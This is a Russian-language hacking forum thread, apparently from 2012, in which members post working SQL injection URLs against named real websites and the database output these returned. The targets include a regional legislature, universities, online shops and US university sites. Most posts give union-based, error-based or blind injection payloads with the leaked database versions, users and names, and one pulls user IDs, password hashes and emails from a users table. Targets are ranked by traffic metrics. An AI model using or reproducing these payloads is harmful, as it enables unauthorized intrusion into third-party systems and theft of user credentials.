SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Ничего интересного. ТИЦ == 30, PR == 3;

    PHP:
    http://pro-volga.ru/architector.phtml?id=-4+union+select+concat_ws(0x03a,database(),user(),version()) --
     
  2. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    tkermak.ru

    PHP:
    http://www.tkermak.ru/?id=906+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    5.1.61-beget-log
    Яндекс тИЦ (CY) 0
    Alexa Rank 0
    Google PageRank (PR) 1

    ------------------------------------------------------------------------------------
    admozr.ru


    PHP:
    http://www.admozr.ru/press_centr/novosti/?id=912%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.0.85-community-nt-log
    Яндекс тИЦ (CY) 70
    Alexa Rank 2,961,714 -3,320,091
    Google PageRank (PR) 3

    ------------------------------------------------------------------------------------
    video.aggf.ru


    PHP:
    http://video.aggf.ru/rec.php?id=69+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    Яндекс тИЦ (CY) 0
    Alexa Rank 0
    Google PageRank (PR) 3
    5.1.41-log

    ------------------------------------------------------------------------------------
    patriotpc.ru


    PHP:
    http://www.patriotpc.ru/main/index.html?id=93&parent_id=179+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.61-log
    ------------------------------------------------------------------------------------
    coffeek.ru

    PHP:
    http://www.coffeek.ru/tovar_full.phtml?tv=925%27+and%28select+1+from%28select+count%28*%29,concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29--+

    5.0.77-log
    Яндекс тИЦ (CY) 40
    Alexa Rank 1,389,457 -132,746
    Google PageRank (PR)

    -----------------------------------------------------------------------------------
    svetozar-shop.ru


    PHP:
    http://svetozar-shop.ru/index.php?productID=723%27+and%28select+1+from%28select+count%28*%29,concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29--+

    5.1.55
    Яндекс тИЦ (CY) 10
    Alexa Rank 0
    Google PageRank (PR) 2

    ------------------------------------------------------------------------------------
    atomelectric.ru


    PHP:
    http://www.atomelectric.ru/index.php?id=5&rub1=2&rub2=8+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    5.1.36-log
    Яндекс тИЦ (CY) 20
    Alexa Rank 2,460,163 +439,845
    Google PageRank (PR) 3

    -----------------------------------------------------------------------------------
     
    1 person likes this.
  3. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Парфюмерия. ТИЦ == 90, PR == 3;

    PHP:
    http://dabka.ru/?cnt=245&article_id=&subid=-367+union+select+version()
     
    1 person likes this.
  4. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Казанская лингвистическая школа.
    Тиц 3500
    PR 7

    PHP:
    http://www.ks[google]u.ru/f10/publications/kls/boduen/bodart1_1.php?id=5-9999999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4--+f
    5.0.67:filfak@localhost:biblfil


    Информационное агенство

    Тиц 3100
    PR 5


    PHP:
    http://uralp[google]ress.ru/bank/news.php?id=5294-9999999.9+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8--+f
    5.0.90-log:3wupi1@localhost:fin




    Сайт о недвижимости

    Тиц 6200
    PR 5


    PHP:
    http://www.aren[google]dator.ru/about_smi.php?id=59-999999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+f
     
    _________________________
    #14944 kingbeef, 1 Jun 2012
    Last edited: 1 Jun 2012
    4 people like this.
  5. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Тиц = 10;
    PR = 4;
    DMOZ = true;

     
    _________________________
    2 people like this.
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    бейсик авторизация(((
     
    _________________________
    2 people like this.
  7. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    volgoduma.ru PR-5 ТИЦ-700 Волгоградская Обл. Дума
    Code:
    volgoduma.ru/index.php?option=com_artforms&task=vferforms&id=-1+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6+--+
    Code:
    5.1.41-log:[email protected]:volgoduma_db
    wblib.org PR-6
    Code:
    www.wblib.org/read/pearl.php?item=-209+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    Code:
    5.5.16:WBPubUser@Main-WWWA:newweb
    mariogames1.com Alexa-88k
    Code:
    www.mariogames1.com/index.php?pageid=2+and+1=0+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())+--+
    Code:
    5.0.77:newmario1@localhost:admin_mario1
    career.qc.cuny.edu PR-5
    Code:
    career.qc.cuny.edu/index.php?pageID=-105+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10,11,12,13+--+
    Code:
    5.0.41:Salman@localhost:test
     
    2 people like this.
  8. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Сегодня ничего интересного. Просто какой-то Форекс.

    PHP:
    http://www.vokino.ru/forex.php?id=-34+union+select+1,2,3,4,5--
     
    1 person likes this.
  9. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Всероссийский институт научной и технической информации.
    Ведущий информационный центр в России и странах СНГ.

    Code:
    http://peisv.viniti.ru/showa.php?id=1-666+UNION+SELECT+CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),2,3,4,5,6,7,8,9,10,11--
    Database Version: 4.1.8-standard
    Database name: peisv
    User name: peisv@localhost

    ТИЦ: 3600
    PR: 7


    Секрет Звезды – интернет-магазин парфюмерии и косметики.

    Code:
    http://www.elite-parfums.ru/line.php?lineid=1-666+UNION+SELECT+1,2,3,4,5,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),7,8,9--
    Database Version: 5.1.62-0ubuntu0.10.04.1
    Database name: parfume
    User name: root@localhost

    ТИЦ: 10
    PR: 1
     
    #14949 HellFire, 2 Jun 2012
    Last edited: 2 Jun 2012
    3 people like this.
  10. Sidarovich1975

    Joined:
    4 Oct 2009
    Messages:
    60
    Likes Received:
    16
    Reputations:
    7
    HTML:
    http://cku1.edu.pl/index.php?id=-1+and+1=2+union+select+concat_ws(0x3a,version(),user(),database())+from+galerie+--+
    HTML:
    5.5.20:[email protected]:cku1_an2
     
    2 people like this.
  11. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Фонд Развития Интернет.

    ТИЦ == 900, PR == 5, ЯK == true;

    PHP:
    http://www.fid.ru/?newsid=-1309443900+union+select+1,2,3,concat_ws(0x03a,id,name,passwd,email),5,6+from+users--
    Админ уведомлен 2 недели назад.
     
    2 people like this.
  12. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://libx.bsu.[SIZE=3][COLOR=Lime][B]edu[/B][/COLOR][/SIZE]/cdm4/collection.php?CISOROOT=-/GrantVetOrH'+union+select+version()--+
    Database Version: 5.5.11-log
    Database name: dmr_collections
    User name: [email protected]
     
    1 person likes this.
  13. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42

    http://tea.ru/?id=1)union select 1 from(select count(*),concat(concat_ws(0x3a,user(),version(),database()),floor(rand(0)*2)) from information_schema.tables group by 2)c%23
    ТИЦ: 450
    PR: 3
    DMOZ: Y
     
    1 person likes this.
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://physiology.cwru.[SIZE=3][B][COLOR=Lime]edu[/COLOR][/B][/SIZE]/faculty.php?id=-5+union+select+1,2,3,4,5,version(),7,8,9,10--
    Database Version: 5.1.37-community
    Database name: backup081609
    User name: [email protected]
     
  15. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    ТИЦ20(R2)
    PR5
    AR499391
     
    1 person likes this.
  16. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    PR=3
    [email protected]
     
    _________________________
  17. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    PR=4
    file_priv=Y
    5.1.50:bojan@localhost
     
    _________________________
    1 person likes this.
  18. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Все для свадьбы в Санкт-Петербурге.

    ТИЦ == 650, PR == 3, ЯК == true, трафф == 4k; юзеры == ~45k;

    PHP:
    http://www.svadbaspb.ru/00-1.shtml?id=-449+union+select+count(*),2,3+from+forum_user--
    Вывод в <title>.
     
  19. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.cwu.[SIZE=3][B][COLOR=Lime]edu[/COLOR][/B][/SIZE]/~dining/CMS_index.php?page=-hours'+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10+from+information_schema.tables--+
    Database Version: 5.0.95-log
    Database name: Dining
    User name: [email protected]
    PR 7
     
    2 people like this.
  20. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 375, PR == 3, ЯK == true;

    Для тех, кому нечего делать :)

    Каноничная "слепая".

    PHP:
    http://ev.spb.ru/art.php3?newsid=32308+and+ascii(substring((database()),2,1))=118
    true

    PHP:
    http://ev.spb.ru/art.php3?newsid=32308+and+ascii(substring((database()),2,1))=119
    false
     
    2 people like this.
Thread Status:
Not open for further replies.